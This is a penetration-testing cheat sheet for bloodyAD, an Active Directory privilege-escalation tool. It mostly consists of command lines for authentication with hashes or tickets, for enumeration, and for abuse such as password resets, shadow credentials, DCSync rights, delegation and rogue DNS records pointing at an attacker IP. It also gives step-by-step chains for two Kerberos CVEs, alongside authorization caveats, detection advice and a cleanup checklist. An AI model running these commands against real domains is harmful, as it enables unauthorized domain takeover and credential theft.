POSTS

bloodyAD

Active Directory privilege escalation swiss-army knife. Quick reference for common bloodyAD operations.

bloodyAD
2504 words · 12 min

bloodyAD is a Python LDAP-based Swiss-army knife created by Baptiste Crépin aka CravateRouge for AD privilege escalation. It reads and writes AD objects directly over LDAP/LDAPS/GC, so it works from Linux with no Windows host required.

  • The verb (add / get / set / remove) is the action.
  • The noun (genericAll, shadowCredentials, groupMember, uac, rbcd…) is the abuse primitive.
Warning
  • The version 2.5.5 of bloodyAD has been used to create this cheatsheet, adjustments may be necessary for later versions.

Setup

  • Dependencies

    • Python 3
    • MSLDAP
    • dnspython
  • Installation

sudo apt install pipx git
pipx ensurepath
pipx install bloodyAD
# or
curl -LsSf https://astral.sh/uv/install.sh | sh
uv tool install bloodyAD
# or, on Kali
sudo apt install bloodyad -y

Global arguments

FlagPurpose
-H, --hostHostname or IP of the DC
-i, --dc-ipDC IP, if --host can’t be resolved
-d, --domainDomain used for NTLM authentication
-u, --username / -p, --passwordCredentials (see Authentication below)
-k, --kerberosEnable Kerberos auth
-c, --certificateSchannel or PKINIT certificate auth
-f {b64,hex,aes,rc4,default}Format of -p/-k value
-s / -ssUse LDAPS (-ss disables all encryption/signing, debug only)
--gcConnect to the Global Catalog instead of LDAP
--dnsDNS server to resolve AD names (needed for cross-domain functions)
--jsonOutput as JSON
-v {QUIET,INFO,DEBUG,TRACE}Verbosity

Authentication

# Cleartext password
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p '<PASSWORD>' [command]

# Pass-the-hash (NTLM, note the leading colon)
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p ':<NT_HASH>' [command]

# Kerberos — password
bloodyAD --host <DC_FQDN> -d <DOMAIN> -u <USER> -p '<PASSWORD>' -k [command]

# Kerberos — ccache/kirbi/keytab
export KRB5CCNAME=/tmp/ticket.ccache
bloodyAD --host <DC_FQDN> -d <DOMAIN> -k [command]
bloodyAD --host <DC_FQDN> -d <DOMAIN> -k kirbi=ticket.kirbi [command]
bloodyAD --host <DC_FQDN> -d <DOMAIN> -k keytab=ticket.keytab [command]

# Kerberos — AES/RC4 key instead of password
bloodyAD --host <DC_FQDN> -d <DOMAIN> -u <USER> -p '<AES_KEY>' -k -f aes [command]
bloodyAD --host <DC_FQDN> -d <DOMAIN> -u <USER> -p '<AES_KEY>' -k -f rc4 [command]

# Certificate (Schannel or PKINIT)
bloodyAD --host <DC_FQDN> -d <DOMAIN> -c Administrator.key:Administrator.crt [command]
bloodyAD --host <DC_FQDN> -d <DOMAIN> -c :Administrator.pem -k [command]   # key+cert in one file, PKINIT

# LDAPS
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p '<PASSWORD>' -s [command]
Note
  • With Kerberos, --host must be the DC’s FQDN (not the IP); pass the IP separately via --dc-ip if it doesn’t resolve.
  • Cross-realm auth: -k kdc=<KDC_A> kdcc=<KDC_B> realmc=<domain_B.corp> to authenticate to a trusting foreign domain.
  • Generate a certificate for PKINIT with Certipy (certipy req ...), then convert to PEM if needed: openssl pkcs12 -in cert.pfx -out cert.pem -nodes.

Enumeration

# What can I write to? Start every engagement here.
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get writable --detail
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get writable --otype USER --right ALL
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get writable --bh   # BloodHound-compatible zip

# Object attributes (binary data returned as base64)
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get object <TARGET> --attr *
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get object ''         # RootDSE

# Children of an object (users, computers, OUs, groups, trusts...)
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get children --otype useronly
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get children --otype computer
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get children --otype container
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get children --otype trustedDomain

# Group membership (user/group/computer)
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get object '<TARGET_OBJECT>' --attr memberOf # Retrieve group membership for any object
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get object <GROUP> --attr member
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get membership <GROUP>          # recursive by default
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get membership <GROUP> --no-recurse

# Domain policy / posture
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get object 'DC=<DOMAIN>,DC=<TLD>' --attr msDS-Behavior-Version         # functional level
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get object 'DC=<DOMAIN>,DC=<TLD>' --attr minPwdLength
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get object 'DC=<DOMAIN>,DC=<TLD>' --attr ms-DS-MachineAccountQuota      # MAQ

# Kerberoastable accounts (has SPN)
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get search --filter '(&(samAccountType=805306368)(servicePrincipalName=*))' --attr sAMAccountName

# AS-REP roastable accounts (DONT_REQ_PREAUTH set)
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName

# gMSA / LAPS passwords (requires read rights)
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get object '<GMSA>$' --attr msDS-ManagedPassword
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get object '<COMPUTER>$' --attr ms-Mcs-AdmPwd
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime

# Trusts and DNS
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get trusts
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get dnsDump
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get dnsDump | sed -n '/[^\n]*\*/,/^$/p'    # check for a wildcard entry (ADIDNS spoofing)

# Deleted objects you can still act on (tombstones)
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get writable --exclude-del=false
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get search -c 1.2.840.113556.1.4.2064 -c 1.2.840.113556.1.4.2065 --filter '(isDeleted=TRUE)' --attr name,objectSid,objectGuid

# Get UAC - User Account Controls of an user (e.g. see if user is locked)
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get object <USER> --attr userAccountControl

# Kick off a BloodHound CE collection straight from bloodyAD
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get bloodhound --transitive

Reading ACLs

Add --resolve-sd to get object/get search to turn a raw nTSecurityDescriptor into a human-readable permission list instead of a base64 blob:

bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get object <TARGET> --attr nTSecurityDescriptor --resolve-sd

Each entry looks like:

Type: == ALLOWED_OBJECT ==   # allow / deny / audit
Trustee: jane.doe             # who has the right
Right: WRITE_DACL             # what right (see table below)
ObjectType: Self              # what it applies to ("Self" = the object itself)
InheritedObjectType: account
Flags: INHERIT_ONLY|CONTAINER_INHERIT

Key rights you’ll see and act on:

RightMeaning
GENERIC_ALLFull control — everything below, minus SYNCHRONIZE/ACCESS_SYSTEM_SECURITY
GENERIC_WRITEWRITE_PROP + WRITE_VALIDATED + READ_SD
WRITE_DACLCan rewrite the object’s permissions (→ grant yourself GenericAll, then anything)
WRITE_OWNERCan set yourself as owner (not arbitrary others, unless you hold DS-Set-Owner/SeRestorePrivilege)
WRITE_PROPCan write specific attributes (scope depends on ObjectType/property set)
CONTROL_ACCESSExtended right (e.g. User-Force-Change-Password, DCSync’s DS-Replication-Get-Changes[-All])
CREATE_CHILDCan create child objects under this container (abused for BadSuccessor/dMSA)

Add --transitive alongside --resolve-sd to also resolve foreign SIDs across trusts.

Abuse primitives

Enumerate first (get writable --detail), confirm you actually hold the ACE the primitive needs, then execute.

Group membership

# Add yourself (or anyone) to a group — needs Self-Membership / WRITE_PROP on member
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> add groupMember <GROUP> <MEMBER>
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> remove groupMember <GROUP> <MEMBER>

Password & account state

# Reset a password (needs GenericAll/GenericWrite or User-Force-Change-Password)
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> set password <USER> '<NewPassw0rd!>'
# Change your own or someone else's without the right, if you know their current password
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> set password <USER> '<NewPassw0rd!>' --oldpass '<OldPassw0rd!>'

# Enable a disabled account / unlock a locked one
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> remove uac <USER> -f ACCOUNTDISABLE
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> remove uac <USER> -f LOCKOUT

# Make a target Kerberoastable / AS-REP roastable (needs GenericAll/GenericWrite)
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> set object <USER> servicePrincipalName -v 'fake/spn'
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> add uac <USER> -f DONT_REQ_PREAUTH

ACL / ownership abuse

# Grant a trustee full control over target (you need to own it, or hold WriteDacl)
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> add genericAll <TARGET> <TRUSTEE>
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> remove genericAll <TARGET> <TRUSTEE>

# Take ownership (WriteOwner lets you set yourself only, unless you hold DS-Set-Owner/SeRestorePrivilege)
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> set owner <TARGET> <NEW_OWNER>

Shadow credentials

Required:
  • DC >= Windows Server 2016 (msDS-KeyCredentialLink schema attribute)
  • AND an AD CS / PKINIT-capable CA in the domain.

Prefer this over a password reset when the target is an active user — a reset is noisy and breaks their session.

# Plant a Key Credential on the target, then use it to get a TGT + NT hash via PKINIT
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> add shadowCredentials <TARGET>
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> remove shadowCredentials <TARGET>   # --key <KEY> to remove one specific cred

DCSync

# Grant replication rights (Get-Changes + Get-Changes-All) — needs WriteDacl/ownership on the domain object
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> add dcsync <TRUSTEE>
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> remove dcsync <TRUSTEE>

Delegation

# Let SERVICE impersonate users on TARGET (needs Write on target's msDS-AllowedToActOnBehalfOfOtherIdentity, DC >= 2012)
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> add rbcd <TARGET> <SERVICE>
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> remove rbcd <TARGET> <SERVICE>

# Enable unconstrained/constrained-style delegation flags on an account you control (S4U2Self abuse)
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> add uac <TARGET> -f TRUSTED_TO_AUTH_FOR_DELEGATION

Computer / machine accounts

Tip

Pass the domain as a FQDN (-d bloody.lab), otherwise add computer fails with problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 9026b (dNSHostName).

# Add a computer to the domain — consumes your ms-DS-MachineAccountQuota (default 10)
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> add computer <NEW_COMPUTER_NAME> '<Passw0rd!>' --ou <OU>

# Raise or check the quota if you hold rights on the domain object
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get object 'DC=<DOMAIN>,DC=<TLD>' --attr ms-DS-MachineAccountQuota
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> set object 'DC=<DOMAIN>,DC=<TLD>' ms-DS-MachineAccountQuota -v 10

DNS record abuse (relay / coercion)

bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> add dnsRecord <RECORD_NAME> <ATTACKER_IP>
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> remove dnsRecord <RECORD_NAME> <ATTACKER_IP>

Certificate identity binding (ESC14 / ESC14B)

# Bind an X.509 identity to a target account for cert-based auth abuse
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> set object <TARGET_USER> altSecurityIdentities -v 'X509:<RFC822>user@domain.local'

BadSuccessor (dMSA)

# Abuses CREATE_CHILD on an OU to create a DMSA that impersonates a privileged target (Windows Server 2025+)
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> add badSuccessor <DMSA_NAME> -t 'CN=Administrator,CN=Users,DC=<DOMAIN>,DC=<TLD>' --ou <OU>

Deleted object recovery

# Restore a tombstoned object (needs Reanimate-Tombstones, typically Domain Admins)
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> set restore <TARGET> --newName <NEWNAME> --newParent <NEWPARENT>

Generic object/attribute edits

# Add/replace/delete any writable attribute
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> set object <TARGET> <ATTRIBUTE> -v '<VALUE>'
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> set object <TARGET> <ATTRIBUTE>              # no -v deletes the value

# Delete an object entirely
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> remove object <TARGET>

CVE exploit chains

Two Kerberos-related AD vulnerabilities discovered by Shai Laron (Semperis) that bloodyAD can be used to drive from Linux. Both are patched — check patch status before assuming exploitability, and use only against systems you’re authorized to test.

ResetNightmare (CVE-2026-27912)

A Write right on a target’s userPrincipalName (UPN) can be escalated to a full domain takeover, because the Kerberos change-password service resolves the UPN loosely enough to match another account’s sAMAccountName. Patched by Microsoft April 2026 (adds a KdcValidatePacUserSid() check in the KDC’s change-password path).

# 1. Copy a Domain Admin's sAMAccountName onto a UPN you control write access to
bloodyAD -H <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get object 'Administrator' --attr sAMAccountName
bloodyAD -H <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> set object <USER> userPrincipalName -v Administrator

# 2. Request a TGT for kadmin/changepw using ptype=10 (NT-ENTERPRISE / UPN-style) — requires the badTGT tool
badTGT 'kerberos+pw://<DOMAIN>\Administrator:<PASSWORD>@<DC_IP>/?ptype=10' --ccache user.ccache --sname kadmin/changepw

# 3. Clear the spoofed UPN so the KDC falls back to matching on sAMAccountName
bloodyAD -H <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> set object <USER> userPrincipalName

# 4. Submit the password change with the TGT — requires the badchangepw tool
badchangepw 'kerberos+ccache://<DOMAIN>\Administrator:user.ccache@<DC_IP>' '<NewAdminPwd1!>'

badTGT/badchangepw are separate companion tools, not part of bloodyAD itself.

Detection/hardening: patch to April 2026 or later; alert on userPrincipalName changes that match another account’s sAMAccountName, and on kadmin/changepw requests immediately following a UPN write.

KerberLoss (CVE-2026-25177)

Malformed/confusing object names (e.g. invisible Unicode characters embedded in a servicePrincipalName) are accepted by AD and mishandled by Kerberos service logic, enabling denial-of-service against HOST-mapped services, SPN-jacking (simplifying S4U abuse), or a Kerberos-to-NTLM authentication downgrade. Patched by Microsoft March 2026.

# Insert an SPN containing an invisible Unicode character (visible only via a hex dump)
bloodyAD -H <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> set object '<COMPUTER>$' servicePrincipalName --bak -v 'HOST/MAI'$'\UE0154''N'

# Verify what was actually written
bloodyAD -H <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get object '<COMPUTER>$' --attr servicePrincipalName | xxd

--bak has bloodyAD print a restore command with the original SPN values so the change can be reverted cleanly.

Detection/hardening: patch to March 2026 or later; alert on servicePrincipalName writes containing non-printable/non-ASCII characters.

Note

Cleanup checklist

After testing, revert what you changed so you don’t leave a persistent backdoor in the environment:

  • Remove group memberships you added (remove groupMember)
  • Remove shadow credentials you planted (remove shadowCredentials)
  • Revert fake SPNs / UAC flags you set (remove object / remove uac)
  • Remove RBCD / DCSync rights you granted (remove rbcd, remove dcsync)
  • Remove DNS records you created (remove dnsRecord)

Troubleshooting

SymptomLikely causeFix
LDAP bind fails over plaintextDC enforces LDAP signing / channel bindingAdd -s (LDAPS) or authenticate with -k (Kerberos)
KRB_AP_ERR_SKEWClock drift > 5 min from the DCSync time with the DC first (ntpdate/rdate)
add computer fails with a quota errorms-DS-MachineAccountQuota exhausted for your userUse another account, or raise the MAQ if you have rights on the domain object
add shadowCredentials failsDC < Server 2016, or no PKINIT/CA availableCheck msDS-Behavior-Version/domainControllerFunctionality; fall back to Kerberoast or a password reset
get writable returns nothing you expectStale BloodHound data, or rights were revokedRe-run get writable --detail directly against LDAP; check for explicit DENY ACEs
set restore failsMissing Reanimate-Tombstones rightUse a principal with that right (typically Domain Admins)

Notes

  • Requires line-of-sight LDAP (389) or LDAPS (636) to the target DC.
  • Most add/set operations require an existing ACE (GenericAll, GenericWrite, WriteDacl, WriteOwner, etc.) on the target object — always enumerate first with get writable --detail.
  • Pair with BloodHound to find the abuse path (get bloodhound collects the data directly through bloodyAD), then execute the primitive here.

References